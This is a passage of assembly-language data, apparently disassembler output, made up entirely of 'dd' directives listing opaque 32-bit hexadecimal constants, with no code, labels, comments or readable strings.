dd 7828B812h, 80B078Fh, 0C2410987h, 79CA7CAh, 4D154960h
dd 0A9D2BE7h, 0D2194FB9h, 0F3A92B24h, 0BC0D0D29h, 88AE3E94h
dd 70016270h, 0D47E9784h, 177E4224h, 4CB219D3h, 690D1AAFh
dd 0BD3F2FEBh, 9819BEEFh, 3992F509h, 44668BC4h, 6E7012A3h
dd 153997D2h, 0D67F0E39h, 7A32AD91h, 20F3E697h, 5AD284EDh
dd 4DEAE34Ah, 14B38E47h, 1C2DD8CBh, 7C7FD8CEh, 56AAC940h
dd 208DA94Eh, 0B5FD874Ch, 0ABFEBEFAh, 3E6D5A2Fh, 824A4CF1h
dd 166C90C5h, 0BEAEC68h, 0F1BAC836h, 33234565h, 2C7C3159h
dd 0E74A33A8h, 0D8A8EBA5h, 0BBE4567Dh, 0D71BEDF6h, 8C994971h
dd 0D431403Fh, 6B0DBD91h, 9C5F3D6Dh, 4FCA0866h, 4C4D24BCh
dd 0F6C617EAh, 5F6A922Dh, 6A213186h, 70EFC9B2h, 2872E3B0h
dd 0B9CDE854h, 0FD726AC6h, 28FE9762h, 1684BE23h, 1037ACAFh
dd 22ED86DAh, 6DE6A67Dh, 0E5ED1FA4h, 0B05F12Fh, 0FDFDB64Bh
dd 73590027h, 522B8A64h, 228306A3h, 0E47E61E4h, 9C946E5Bh
dd 7691C1B5h, 0A24DA18Ch, 4BB61A0Ah, 5DC91DD3h, 0DC7C51DAh
dd 9B8B31FDh, 9466964Fh, 2BDE7722h, 555C9D06h, 4B6A2CBCh
dd 8C348C3Bh, 272375BBh, 9406F03Bh, 0FBC12563h, 0E3E3EE5Dh
dd 2A5B9BF4h, 915F5ED9h, 0C0349436h, 59BBE6E5h, 99054AF5h
dd 0D9BE36E7h, 0CA55D92h, 0EBA22166h, 1C68AA01h, 6B0ED148h
dd 1DCFE261h, 7FC284C1h, 31FF1B28h, 0C8F68E6Fh, 0F98F1861h
dd 2FB5E7F5h, 0A68D2DFDh, 63F488D5h, 3CD2119Fh, 640535F5h
dd 0CB12300Dh, 81CB7D08h, 0D06F7107h, 2839AFB1h, 0B5B3ABE9h
dd 0D9F50F8Ch, 0A7CC086Ah, 829ABA36h, 439809B9h, 200D0C02h
dd 0BFA99D5Bh, 0C2C74462h, 0E37E006Dh, 0D91B9C85h, 0C00FFF83h
dd 0B15937BDh, 0E60935C7h, 0DD4D809Dh, 5C734F06h, 0BC253C4Bh
dd 4F92B508h, 0D15631F4h, 6BC8C1A8h, 2D1AF9F3h, 0A030CC36h
dd 636F8F42h, 26E192BDh, 32FE9EA3h, 0C920E1DCh, 364A8C0h
dd 8958D343h, 0D7A01384h, 0A2F1127Dh, 40280230h, 7F616411h
dd 0E89E02A9h, 17E4D3D2h, 0F43C8563h, 0F0928549h, 0E5379330h
dd 65DFA624h, 2229BBD9h, 9677855Fh, 0FACEFE6Dh, 0E9E336CCh
dd 0E14407A3h, 23DF83EEh, 0C07142A9h, 0F4D13EB8h, 0E27223A3h
dd 26DF1B3Ah, 675FE3DFh, 0C6D97362h, 7FE1B15h, 3EE1BF71h
dd 1827361Ah, 0B3C0C0C6h, 5521C181h, 0F898A0Ch, 9251A345h
dd 7385D5CDh, 0F075EF57h, 0A4D6EDDAh, 0BE24DA29h, 7F9CE940h
dd 546DA37Ah, 0FB158D08h, 5F4D1BE4h, 474A392Fh, 43A9FB7Bh
dd 0D37CC537h, 87BE4871h, 9A2E376Eh, 0FD8E3AEBh, 905B806Ch
dd 2D247F0Eh, 0A3CA5AEFh, 0E767A169h, 0E68E186Eh, 43C0B9AAh
dd 0EFA022AEh, 5F9B4C60h, 0D32779AEh, 7DB2BB2Ah, 8254B4DAh
dd 92027DC1h, 0BA631150h, 0D07CDE9Eh, 45E99AD7h, 0B752842Eh
dd 6C7C2040h, 6BC506BBh, 0D5C5639Dh, 474612A2h, 0C7051211h
dd 0AB05062Ah, 0DCEF80E1h, 7B9C83CBh, 5928C709h, 613BE568h
dd 0DE6FA478h, 0CBC8D6DDh, 0D0467743h, 0DADB6FA8h, 518ED476h
dd 0CA818019h, 3C724D11h, 0DA19987Ch, 5CAB5C1Eh, 0D101D202h
dd 0BC8BC29Dh, 0BBA7C247h, 51395B0Eh, 45763891h, 0AF396B0Fh
dd 733E7A0Eh, 0F590BCFAh, 403357F3h, 0E01FBCBBh, 0DC04DB68h
dd 4A318079h, 0F550487Eh, 11D6ECEFh, 1961E771h, 8B5A4413h
dd 4B0DD91Ah, 699CCF62h, 38911A52h, 0AA87DA2Fh, 93DB4CF5h
dd 0D6142E55h, 0FAFC5387h, 0EB695171h, 2EA02F4Eh, 0BFFE8656h
dd 267BC113h, 75B9BF02h, 68B618DEh, 0D83FAE41h, 0CA71CE99h
dd 9C8C6A5h, 0AD4DD0DFh, 0BB8FB14Dh, 5739BECCh, 0E73D5730h
dd 68DB28DBh, 87959F7Ah, 0CE6D345Ah, 530F6448h, 0B2958318h
dd 383FF7BAh, 264DE328h, 8888B191h, 64A4669Ah, 3A5AC8C6h
dd 0ABE273h, 31509E6h, 0AA277203h, 4CF1D889h, 0C5AFEB9Bh
dd 0DF928C20h, 4520F0D2h, 84E7199Eh, 0ED7DD2B5h, 0C32A1202h
dd 60A1ADD1h, 37E9791Ah, 825C0D3Fh, 9726C0EFh, 0A5645D71h
dd 41F80FE0h, 0E07972E4h, 8637078Bh, 0A8B8865Ch, 9E7A46A4h
dd 599B4282h, 0CD8C1E97h, 0EAC4D650h, 0C35D054h, 1ECA2576h
dd 79AD6665h, 4DF00DAAh, 4BCA991Fh, 52CF96EFh, 379D477Fh
dd 2CDDC91Bh, 0E49618DCh, 9A2CDACEh, 6D32EBBAh, 0B80EF8C5h
dd 79468EC2h, 0BC9C057Dh, 15162454h, 0EB9A8EEBh, 7546A316h
dd 0A15BB48Fh, 465F99C0h, 0E9BFBF0Eh, 528D57C3h, 11A13C9Bh
dd 8EF76048h, 0B3E734F7h, 0D92AF742h, 1A73E5BAh, 84F0817Ch
dd 808D26F8h, 0B9D0D4D6h, 8B4CE27Eh, 0CAAADCF8h, 9EB1255h
dd 35B48B50h, 45C4D99Dh, 4E653EA7h, 98AA6E76h, 0F2C05A40h
dd 6349487Eh, 0DD6B7240h, 63C67007h, 68CC1CB1h, 8EF9498h
dd 32823683h, 25B38066h, 6743125Ah, 0B40D4B2Dh, 5947A6C0h
dd 71599F34h, 2F501587h, 2BC8D208h, 0B9C4B419h, 0C36DC18Ah
dd 0FCBEC54Ch, 0E8100EC9h, 0C68C1EC3h, 0F93D6C5Ch, 0D6A7F3A3h
dd 681A1279h, 9F9D45D0h, 7EC758E7h, 97907C5Bh, 27CA7DD3h
dd 465266D4h, 2286B183h, 0A65109C3h, 38E9B11Ch, 0E935FD42h
dd 757830C8h, 3C49D3F3h, 98DDC8A1h, 4CC268A7h, 4544537Ch
dd 73CC21B2h, 314F274Fh, 0C0D66DB8h, 87E17B4Dh, 0E0B56059h
dd 0E6CC1579h, 5CB4F219h, 6017E467h, 9F7693A2h, 0B6CFCB7Ch
dd 0BD874F7h, 837B0EA7h, 0C8E8642h, 4B8465A9h, 0B38FDE57h
dd 46721C85h, 6A3D0E0Ch, 0E922DF4Dh, 55A43FDEh, 3D718F74h
dd 0AC8A87EDh, 97C6B10Ch, 0B08BC699h, 0B4962592h, 7E7F56BCh
dd 5A21F3DEh, 0CA863A8Fh, 59EA3E83h, 0F87B9465h, 0BB1CF27Dh
dd 0A757CEBFh, 0F833F80Fh, 8B831AFEh, 0C7AECAC0h, 313EB540h
dd 0F79F45D6h, 2894B650h, 9B50A30Ch, 58637378h, 7659405Fh
dd 0FA33918Eh, 3A78710Ah, 43D3EF8Eh, 0C195973Fh, 0E13F3483h
dd 4193B321h, 0E2160EBBh, 0F12E01F4h, 10A123F9h, 0C3B60E9Fh
dd 9C6671A4h, 9E1247A3h, 35D1D7FCh, 0B9BF56B6h, 0B4F78ECBh
dd 0CB0FA9A3h, 2DEBD55Dh, 2AE05AF0h, 0C1E06282h, 0BC3C0277h
dd 52C9AAD5h, 5AFC4CFAh, 0AA65B0BAh, 8113FCAEh, 0AEC67944h
dd 152E1799h, 0EC535593h, 0CDF00193h, 88328E9Bh, 0FA08101Ch
dd 0FD36DC64h, 4902C42Dh, 7EED9E35h, 0F8B8A1Fh, 15B570Eh
dd 19BE7D81h, 474C86EDh, 0FCF0A616h, 77623BF5h, 2A6DF790h
dd 1887D62Eh, 6D166EE5h, 80850CDh, 4FAEA623h, 7E34ADC1h
dd 0A348176Fh, 7CDA775Dh, 36117817h, 0CD4705D3h, 313F6C83h
dd 273F5970h, 0B299CCDAh, 44813323h, 8661850Ch, 0E65FBC84h
dd 976E6EECh, 0FE854F97h, 15A96E18h, 0CA46CD9h, 5A02375Bh
dd 0CB0D4BA5h, 6105D66Fh, 0F4F860D2h, 0F8742006h, 75470680h
dd 205DCD44h, 5490F17h, 81CDA2h, 0B3E353A1h, 0C0A99654h
dd 28EEDE14h, 0B51DA492h
dd 0A14229EFh, 438C5573h, 0D67707CCh, 0E0D8DB87h, 0FB0DD8ACh
dd 4FF7ED51h, 312B7E8Fh, 8DD4AC38h, 0C85AEEA3h, 0F562FD74h
dd 13F5BD63h, 271B77Bh, 0C3108118h, 7A864F29h, 30762ED7h
dd 6AE8696Bh, 8EAB6D1Ch, 5AEF80FBh, 0DEA5AD9Bh, 749483CCh
dd 4B8D8A64h, 0FE3482C8h, 6E245F7h, 0D1FACB94h, 7B2D0479h
dd 0E530A083h, 3B17F682h, 9E154C98h, 0AB5224ECh, 2A497C6Fh
dd 0E99A9628h, 955BC628h, 4436890h, 0D9854848h, 5B1A61B8h
dd 0D82944C4h, 0A074459Bh, 99FDF4E7h, 56AE32A4h, 136E5909h
dd 0ADE21060h, 0C754D6E6h, 742A0417h, 7B011958h, 23B94881h
dd 0D985D7E1h, 0BC72461Eh, 78CFE728h, 0DB8B9527h, 0AAFBE9B8h
dd 0AB360FA4h, 0EEFD7D6Dh, 1D537AC3h, 0E10D175Eh, 51026C10h
dd 5BCF4E6Eh, 0F87B862Fh, 43520F53h, 0CAC7BAD5h, 0C0A956Ch
dd 5E9AB8B3h, 0FB44E1Ah, 2EDA5D71h, 0FA4BC371h, 5608AC63h
dd 622E01CFh, 0C1806A93h, 89936B98h, 95758A79h, 0B8EE7205h
dd 4024EF8Fh, 7BB5A9C9h, 2BC667BAh, 0ECBF6EDh, 0E2370FF6h
dd 1D4F6148h, 96EC7DC3h, 0F71EC33h, 0DE081BBCh, 3A34D884h
dd 829123FBh, 0B2B6E50Dh, 0C24C4EDCh, 9C315E39h, 167BA37Bh
dd 89949BEh, 15E32B1Ch, 385D47EBh, 0A5A63B22h, 1964C1Ch
dd 9F4FC1B1h, 0D1960085h, 1D0BC925h, 647F129Ch, 918C3229h
dd 79E45A1Bh, 4022EE49h, 0D8BFDE95h, 1C175D2Dh, 11DBF2EFh
dd 3BD06141h, 0DD03E298h, 8C84F6BFh, 0E50C4E7Bh, 2E7B69E0h
dd 0C6482132h, 437C76E6h, 0E9BB879Ch, 53D5E14Eh, 0C75BBB16h
dd 5E54AFBh, 579F4368h, 0F6226DE2h, 70D71133h, 9B2C203h
dd 294E1889h, 0AF749A63h, 5B2995A2h, 0E932A3FDh, 0C587628Eh
dd 21C66235h, 0B5EB858Bh, 2A0291BCh, 7107374Eh, 9FDE52C3h
dd 0C48B02CDh, 0F4306F1Ch, 4353A11Dh, 0BD277098h, 0CB52A742h
dd 6F106122h, 997016D0h, 20A42FD3h, 27BA60F6h, 8715C2BDh
dd 47C256C8h, 535F8AF8h, 0FD9346DCh, 918FD4E2h, 73B8FEA6h
dd 0EA64F361h, 0D731D3D9h, 0B519E74h, 142E59A4h, 0B79627EFh
dd 859B1052h, 78C899Dh, 803420BEh, 0C742FAF7h, 4B92CAC9h
dd 1494BB5Eh, 686396A1h, 89681308h, 0F060D68Dh, 0F506843Ch
dd 5FB26CE1h, 981DA0CAh, 5B63E493h, 6E24309Eh, 0FC6BAECFh
dd 42561B28h, 4E23F636h, 5D50161Bh, 312BCBB4h, 333BA8F7h
dd 467D6028h, 6C9F3B94h, 87C6783h, 4EA3410Fh, 6B6FA767h
dd 0A9EDB21h, 17CE82C3h, 970B045Eh, 0AC771C2Bh, 886C67Fh
dd 0F7BF1F41h, 0CAD343C1h, 60853FD0h, 0C927A5CBh, 0C4C56536h
dd 831E0C0Ch, 0F0418D4h, 94AF56B0h, 0FA8D52A5h, 79D961E7h
dd 7826E7C7h, 11130FFh, 7079ACD3h, 0A96EC2A8h, 2924E7Ah
dd 0EB371F45h, 98766BF0h, 7AEB0EBCh, 23159E34h, 0C96E5A0Ch
dd 1C0020BAh, 67F90793h, 0CF9F4FE3h, 0B11873Ah, 3939F9C4h
dd 40A650BFh, 0D74694C0h, 0FE9DFA13h, 23871496h, 5E99D27Eh
dd 0CFB5A7E9h, 9C5859A9h, 934CD946h, 44B79053h, 78D70F57h
dd 41B58524h, 0A40C94A1h, 0EF47EF1Dh, 93DEC680h, 0CD0C93D6h
dd 549D2ADFh, 58F88CA8h, 0B2A969ABh, 89EB16A3h, 76FB42AFh
dd 51E74474h, 0C84D8A73h, 76683B5Dh, 82711A52h, 0F129E0ACh
dd 36989C09h, 890C0C9Ah, 0F7A4813Dh, 0F1378144h, 1E4CACC4h
dd 0A9223B3Eh, 0DA300DA3h, 0E8A40288h, 2DB6D2B6h, 3C5A73CDh
dd 79357E47h, 0D42D63D3h, 4A54D0A5h, 23C317Bh, 6E3AD88Eh
dd 0E3D03104h, 1B5D44A7h, 4D3B534Eh, 33516D94h, 1E947183h
dd 4D48FE68h, 97D20109h, 0B3335650h, 400D96C8h, 3A43E11Bh
dd 8FCAC80Ah, 758E1078h, 7FDCFFCFh, 0A6CB5D7h, 0D463B48Ch
dd 0A033B92h, 1CCAE292h, 2843EF8Bh, 25B58614h, 549AF402h
dd 236232Fh, 86641C3Fh, 0B7DB5F2Eh, 2774AFAEh, 0AE21D67h
dd 68B8889Eh, 0FAD877CCh, 0CE70EFD4h, 0D4BFA094h, 30667A14h
dd 99FB2A05h, 0BE7E0D5Dh, 8FBCDF9Fh, 0EB01222Ch, 248CF64Bh
dd 0FF1028A8h, 11B5C19Fh, 0D1D1ADC1h, 0BDBD5CDDh, 25BFDDB3h
dd 49B2AC4Ah, 7CA45751h, 148C5D47h, 9CF02F35h, 53AD5E75h
dd 47E5944Bh, 35DB432Dh, 0F36895E4h, 1032C602h, 41DFAFC7h
dd 45AD6370h, 6B16F7C7h, 60A4C621h, 0B389ABD5h, 674C9847h
dd 1F027DE4h, 4DE4D56Fh, 945E71CCh, 0D15062Dh, 8912E52Fh
dd 7AA30FD4h, 0AE8725F2h, 0E1BD71EEh, 9115FE46h, 8E7A2DD7h
dd 460EDE5Ch, 0A902C711h, 85C6E5B0h, 0DB928ADFh, 7790EBFDh
dd 0EF8EEBD5h, 0F0C70A94h, 3EDFD60h, 4B39C93Fh, 0BDD5F3B4h
dd 0D219426Ah, 19FDC5FEh, 0A866A9Bh, 0EC0A2118h, 0E217FB08h
dd 855B61E6h, 7442FDD5h, 0A1CFBE0Eh, 0A8F7D0F2h, 4FD10879h
dd 0CF4A3F01h, 1757510h, 0B200270Fh, 137EEE0Ch, 7052209Bh
dd 0C3810DA6h, 0B331D413h, 40572953h, 0F434F000h, 0D31928DDh
dd 8941102Ch, 0E17823F5h, 64F66C7Dh, 0E03F88FEh, 28139A05h
dd 0D853C51Ah, 2DCE31DCh, 80296B5Bh, 360EB8F0h, 0F05837FBh
dd 0B909ABCDh, 56C3F41Ch, 111586B6h, 2B5B54Dh, 99EC01FBh
dd 0C0102ABEh, 8CC4600h, 0C05BD8CFh, 4B2DC07Eh, 0C5E4616Eh
dd 82CC0927h, 86D8A1AAh, 0D63BEE82h, 0B0EFD873h, 785D7BD3h
dd 5F059A59h, 37F7537h, 80E21E4Fh, 4EDB3526h, 0CBF1961Ah
dd 9A5A8ED0h, 907EB754h, 0A8A8DF00h, 21042CAFh, 0C31400A5h
dd 0CDCFE0Eh, 4C2CAC90h, 0A3748FCFh, 671516h, 43E1562Ch
dd 0D9067321h, 7D9E53A6h, 9FB2CC90h, 0CDDD0267h, 4CB52859h
dd 2BB9407Dh, 0DF7778CDh, 0D42BA7AEh, 0C8157FA8h, 0B2AD24F4h
dd 0DAA8D1C6h, 72DFBCCCh, 25506375h, 68A6FD02h, 0D30D72D7h
dd 3C5C891Ah, 8BBCD1D0h, 0F7270E2Fh, 2E5696FFh, 9704490Fh
dd 0D95F5384h, 0ACA12E6Ch, 0DBA27600h, 0B6BAF5A5h, 0AE4D22CCh
dd 65025A50h, 0B48BF818h, 0B2EDCE0h, 6F500244h, 891E73D5h
dd 0B6360A5Eh, 357379FDh, 89EB6522h, 0B4E7D95Dh, 2A122F5Ah
dd 33CD7769h, 8F3506h, 0BB0EE455h, 507C31ACh, 37640E89h
dd 33CD89F3h, 0FF19716Ah, 0C9860611h, 0A2B5B29h, 91B50A4Fh
dd 0CFCC7954h, 54E84979h, 0BD9DFAB1h, 62D0EF6Bh, 76A867ABh
dd 0EE29B0Ch, 0D7CDAD4Bh, 51ACB392h, 4EBACE23h, 27924491h
dd 0A7D29220h, 3C1F819Ch, 0EA91B63Eh, 446FF13Dh, 0FAF3406h
dd 0F2409090h, 0C1A2CBE5h, 0CE661308h, 238B4C14h, 2EC16A60h
dd 845CDD93h, 0DE199F6h, 0BA82FEDCh, 444587DEh, 40BC6942h
dd 38B4C4D0h, 2CB19210h, 0E9D1D854h, 0EFD71074h, 4B07B661h
dd 0FC2D2413h, 0CDACD62Fh, 0A6C2EDFFh, 1E2825A6h, 41EBD9C0h
dd 278CFFE5h, 11F969BEh, 0FF490660h, 0D6F57BB7h, 937A978Dh
dd 0D232E228h, 0CF10A1EDh, 530319D2h, 0E79E73A1h, 1A51D26Ah
dd 2E05A00Fh, 716B8EEAh, 0C4231FA3h, 38950F16h, 966CBE7Ch
dd 5C30CE4Dh, 2B41AAF7h, 0B6F405A4h, 6B6CE551h, 219C539Ch
dd 0E8288A98h, 0C05B23BDh, 0EF7E877Ah, 754E4124h, 0FA03587Dh
dd 0DBC9B552h, 3AE25384h, 0E650290Eh, 227D1C9Eh, 0E9AD5DE9h
dd 3994B231h, 8BF25A28h, 52CFC46Ch, 1D5C5A73h, 0C8CE5B54h
dd 962E516Dh, 855C302Ch, 349094AAh, 664935B6h, 0D0203DBBh
dd 0FE7DCF57h, 3B294EC7h, 80171AE2h, 1EF878Ah, 0B3A9D2D3h
dd 42453F63h, 70086660h, 4B8C947h, 8180FC58h, 1EE03DC8h
dd 44BCCF4Ch, 97F3364Dh, 5B4C097Dh, 5A8555C2h, 0CA269CFDh
dd 7C8B2048h, 0AAE50173h
dd 5A7703F1h, 6A313EA8h, 5012D11Eh, 0C145A0C2h, 0C1849C65h
dd 6EF9CA8Bh, 0AD5CFF3Fh, 0B02E2B7Fh, 0FAEB039h, 6FE49BC5h
dd 0FDB1D6AAh, 4E547F49h, 0D36F4B4Dh, 2AC82A01h, 3B256B36h
dd 9258635Bh, 40F74AB8h, 10A9D74Bh, 50FB0FF7h, 0CAB7C3BFh
dd 4A36B6D4h, 0D73B5E95h, 5FE44B94h, 729D8793h, 10DDC23Eh
dd 3FEBC99Dh, 9DDEB42h, 728E662Dh, 34221AEDh, 0F254B583h
dd 0E08A0722h, 7F41E31Ah, 0D93307D6h, 965FFCEFh, 0AA040C51h
dd 0F02F90E8h, 0DBB9C292h, 475F6540h, 0C7171AFh, 30381CDh
dd 32C54E50h, 48EB0404h, 0C02BB390h, 9C8AE9AFh, 47E9A92Bh
dd 83162938h, 5BE44C8Dh, 0A33CA831h, 793078F2h, 1B375BC9h
dd 16A938BBh, 0F7EEC5DFh, 0D0427A5Bh, 0A7D06CF9h, 990445B0h
dd 29D2DC76h, 1E2FC92h, 2D7A5075h, 503C03FFh, 0F97F443Ch
dd 0B111E6B0h, 33EFAC2Ah, 0EB2EEDA9h, 2CF08DA0h, 0E4C7DBB9h
dd 6E2BFC4Eh, 0DAF731D6h, 2CAB0780h, 0FFA3734Dh, 0CC69A70Ah
dd 0B02E2A76h, 3E8781C5h, 0B7893A4Dh, 91005ECCh, 0AA1973F0h
dd 0EC994652h, 72E4C468h, 6CFDF023h, 9AE5D06Bh, 5AF2A3C0h
dd 2CDD5783h, 88C6C403h, 0B0608F8Fh, 0D3DC2185h, 0A0AAA084h
dd 2BF300F3h, 968F7507h, 0FC412E45h, 0C3E4AF97h, 93AC1684h
dd 0D86352F9h, 75344C1Ch, 113B8E21h, 82837684h, 332710A8h
dd 0FF5B9534h, 227265F8h, 4D4676B5h, 0E055AD0Bh, 33C3456Ch
dd 8EF054E7h, 84CC6DD8h, 302F9632h, 6795CE69h, 0AB02EFD5h
dd 4E1E3050h, 7A51727Ah, 30252543h, 6CA5FFCh, 3DAE1400h
dd 8B659D85h, 541354ECh, 20C10AA0h, 618AC409h, 0CA810BE0h
dd 126087C8h, 0EFABEFF7h, 7F0530E9h, 0D1155AB0h, 903F29B8h
dd 55351CA8h, 0B5F352BCh, 0C52A6017h, 4CA8486Dh, 9876B9D7h
dd 7C2BEED7h, 563A5C74h, 76FDE4AFh, 0ED200C01h, 0CCFA73EFh
dd 0CB444939h, 629AA591h, 0CA00B865h, 10353BCh, 40000C23h
dd 6F8014FAh, 12DB1216h, 0C5536975h, 7C8C29CEh, 82DC37DDh
dd 36EFF215h, 0B9571373h, 16EE4374h, 70E3CFC9h, 998472CCh
dd 767E185Ch, 0E931E7AAh, 0E6FA4h, 0B94BDFFCh, 0F626183Dh
dd 107EB1AAh, 1887C9A8h, 8661319Bh, 2286EA6Bh, 9F7C9A1Eh
dd 0C0E9CB2h, 5064CB9Fh, 1D16B2E2h, 8D37A219h, 0B840A59Fh
dd 56447914h, 6F897F9Fh, 0E9BA387Ch, 6207849Ch, 77737AB8h
dd 0D3B2BC6Bh, 3FFD6586h, 4D34E392h, 0B89D5839h, 0F9DC4FB0h
dd 4472A0C9h, 0E02013BDh, 654F8C3h, 0D78762B4h, 0FCD73B0Fh
dd 3A7176Bh, 0A7E2CFE5h, 5E6CB823h, 3FEC9A34h, 0EF2EBE9Eh
dd 3656144Ch, 150A8D65h, 9522BE01h, 4359A4C4h, 0CC3B276Ah
dd 0A9D0E32h, 0C978D38Ah, 344C3418h, 8CA064B0h, 0CE54FFA5h
dd 7A950FD9h, 0C2B508D5h, 304F6D72h, 93BE869Ch, 5A7848A5h
dd 0E9185AAAh, 4C9CD6A5h, 7F0693EEh, 25A55CC5h, 4A8DFA6Fh
dd 0ABE46F39h, 0E24068C4h, 0D0C0173Fh, 66D6B434h, 77860A3Dh
dd 4A97DEDFh, 60B077CDh, 0D44A6D64h, 602D5810h, 1B66D02Ah
dd 700FA7F2h, 475E13ECh, 11D973C5h, 5A50D6Dh, 5CE25D11h
dd 29F6A5C8h, 0F0216FDBh, 49BE154Bh, 0C546606h, 25DD048Fh
dd 3427E411h, 46D0FC30h, 0EF5674B1h, 0CA5CB7D1h, 0F96FB161h
dd 170DF2F5h, 3E405E23h, 0E307313h, 0FD42087Ch, 0F0E3E97Bh
dd 0FAC965BEh, 0D6C28574h, 26724A53h, 4B2E318Ah, 38546AE4h
dd 0AF21E03Ah, 5AC71115h, 0C348C268h, 0B08AE2E0h, 0D5AA94Fh
dd 0CD1487DCh, 0EC000E9h, 4E45725Ah, 6B96C977h, 41B76396h
dd 390FB7E8h, 32E8C10Dh, 28F40698h, 0E2C3D74Eh, 0F2C2CDA8h
dd 0F13E2BAFh, 0BA828C71h, 0AC12CD2Ah, 907A3565h, 4D3906D8h
dd 7BC84C1Fh, 0D123561h, 0D700C6A7h, 0E360DAE3h, 3454EE0Ch
dd 7CFE8DCBh, 5D3376Bh, 0E3D92CDBh, 68687ACBh, 53D6BC4Ah
dd 4384B24Dh, 560B6706h, 57636ABAh, 0AE325C13h, 16B1BBA8h
dd 0C4A1272Bh, 0EF26EE2h, 46410E0Dh, 52F68F01h, 6EB12F6Dh
dd 413F6549h, 0B851D793h, 0D4F771DBh, 53C10BEEh, 51A5FBD6h
dd 0FA6FCBAFh, 0D3FAAA82h, 0CCA5092Fh, 637E7EEFh, 1B3DC5FAh
dd 90265CAFh, 9E9535BAh, 55901C0h, 487F461Eh, 5FDDB75Eh
dd 38925E0Bh, 0FA6DC7B0h, 0AB953C34h, 1950D62Bh, 87C127CAh
dd 0D0A73A2Ah, 7E6F700Fh, 0B9017439h, 0DBD85B5Bh, 0A90F82Bh
dd 0FC3A1CD8h, 0F7F6BB49h, 5F2541B4h, 7B05A53h, 14F2B489h
dd 78910D78h, 3B8F7D1Ch, 8E1A695Ah, 0E593C4B4h, 4AF1A96Eh
dd 1B582A44h, 0D8ED13C8h, 0C2A6BA75h, 351E602Dh, 43E2FC88h
dd 71F83EFDh, 1E221572h, 604EFCD9h, 0C5296FEAh, 0DA677559h
dd 57F0C1FFh, 11670E09h, 0B265E7EBh, 0FCCD9C82h, 0A2F7C4EBh
dd 5CED529Fh, 97D3CFA4h, 670CB9DDh, 712B3040h, 6CE10DABh
dd 990CB8A7h, 0CB1B69CCh, 28FB5FC6h, 0AE8F68CDh, 0E958B4FEh
dd 0B51C5B59h, 335885E5h, 0FAC4668h, 7E9F906Ch, 9CCC3E74h
dd 416D3B10h, 9A1C43DEh, 9F1FC1DDh, 6B3970F5h, 0A59A3792h
dd 69D7AADCh, 1EFB480Dh, 53352720h, 7EC0055Dh, 0BFD972Fh
dd 9EEBD48h, 0CD170854h, 830D629h, 0EEAC99ADh, 59B06FA6h
dd 0A3B2E3EBh, 9385BF1Ch, 56996D01h, 12AE6AEEh, 8C6D8067h
dd 93B6B385h, 7CE41C56h, 91A99CE5h, 0EAB3BA94h, 0B455648Ah
dd 9481D288h, 0B99FD234h, 0CB0ED3FCh, 0FAAA0C47h, 6DE820F4h
dd 9F760F93h, 0A82044D7h, 577529B8h, 0A0117FD6h, 0DBDA6167h
dd 94F032CCh, 0FD6617AAh, 0C78BA3D7h, 61B710D3h, 1DBFA47Bh
dd 9B2A5EE1h, 11F86F24h, 7F582A96h, 15BC105Fh, 6FEEBF59h
dd 0C63141F7h, 0A50A515h, 59D0E5DAh, 4824E573h, 0B967B85Ah
dd 0CB0B312Dh, 5D383E99h, 166E2489h, 0E0A90FD8h, 0C4F3A1B3h
dd 94C596E7h, 49E92B34h, 97DD0413h, 0FC2C25A5h, 0A0F467EDh
dd 0F8DF98F4h, 0F7DB86DAh, 99E7B61Bh, 0EB6B3947h, 748A89F1h
dd 3D638EC3h, 9B429794h, 0D13669E5h, 0E01A3914h, 69C70D30h
dd 0B5604421h, 86CC4909h, 899A5DD5h, 47E0AAD3h, 0F62027D3h
dd 0DE26B644h, 13F73B4h, 0DB476447h, 0D08D6D96h, 13AD3C7Bh
dd 0FD8FB45Ah, 985BC8A7h, 0D1F08F5Dh, 2B610A2Ch, 0D0B5EE0Bh
dd 19352799h, 0D2CA334Fh, 0CC39D41Dh, 0C0247116h, 0AE9197B6h
dd 8178BFDBh, 1F87A88Fh, 0F8D44CC8h, 3D49129Eh, 0BD11D2FCh
dd 0DE5416AEh, 51EF7F9Fh, 3DD51F83h, 0B19A4947h, 1DB8E13h
dd 53C18BF2h, 0C5072755h, 854550A9h, 0E793BD12h, 71FB105Dh
dd 12F7FC41h, 8C896373h, 0B75677E8h, 0A774F8BCh, 0E0583FA7h
dd 705D430Ch, 7A8F828Eh, 0B405FF46h, 57CCB2FFh, 0BCF6AB2Eh
dd 204EFC5Bh, 0E4DBB3A5h, 0F8D9EF69h, 3E9278C3h, 15D17ACEh
dd 0A81C8004h, 9C8A0542h, 95BD919Fh, 0B0871B95h, 717E8A03h
dd 0AEE2DA7Eh, 23F4C68h, 8995A975h, 5FCAC46Dh, 0FEA71BFFh
dd 0A9BE4562h, 4F89EA78h, 7626F7E3h, 0C93960EDh, 0FC11A3C9h
dd 731BE6CCh, 0DDA2E497h, 360464F2h, 0C16C1E4Fh, 0FA1DB056h
dd 0A7D81C3Ch, 0CF47A107h, 3BE1F727h, 4A55F9DFh, 0DC4B5541h
dd 0AB921DC4h, 3B3D554Dh, 0E0ACD739h, 970E59AFh, 820AA6B7h
dd 0A8D7BD4Dh, 9E7443Dh, 0D78FC107h, 660D9CA6h, 6DF2B5F2h
dd 8F7C9E90h, 72822DBBh, 5A70C07Dh, 0EC668E09h, 79D27526h
dd 64543F9Ah, 2DDD0179h, 2A123B2Bh, 0B24ACEB4h, 9C54CECh
dd 45E2FA93h, 7671E67h, 0DFF2A619h, 1C6C8BEFh, 0F49BED3Ah
dd 3BB105F5h, 0AFD41CF1h
dd 7C4C4595h, 341D683Bh, 8C76EE9h, 0EDB57FD5h, 94BC6A66h
dd 78310C56h, 0E27D8E09h, 4835CC32h, 0DE389A4Bh, 1924F5EDh
dd 0AD63ECF0h, 0F2A633C6h, 7F3F7E2Ch, 7F3BF676h, 0CDE08ED7h
dd 331A0A8Fh, 0DE9621A3h, 5B09663Bh, 9EA6B6BDh, 4B7D8496h
dd 7624405Eh, 0F295912Dh, 0E18DD99Ch, 73F2E9DAh, 0C4E12CD2h
dd 0D5EAF1Eh, 0DE21F338h, 0AF2EAB88h, 8AA7071Dh, 6160E60Eh
dd 0D9D144B8h, 2C58B035h, 9F468817h, 8F4151C8h, 8CD7EC53h
dd 46622491h, 0B2B51CBEh, 3980AA82h, 0E7C921B3h, 6D15AD6Eh
dd 0F255F806h, 0B4ECF673h, 204E8FE3h, 4D2262F9h, 0B5AB206Bh
dd 0B759F3F0h, 234C86A8h, 90BDD5DAh, 8C8F09C3h, 0C7CBF97Ch
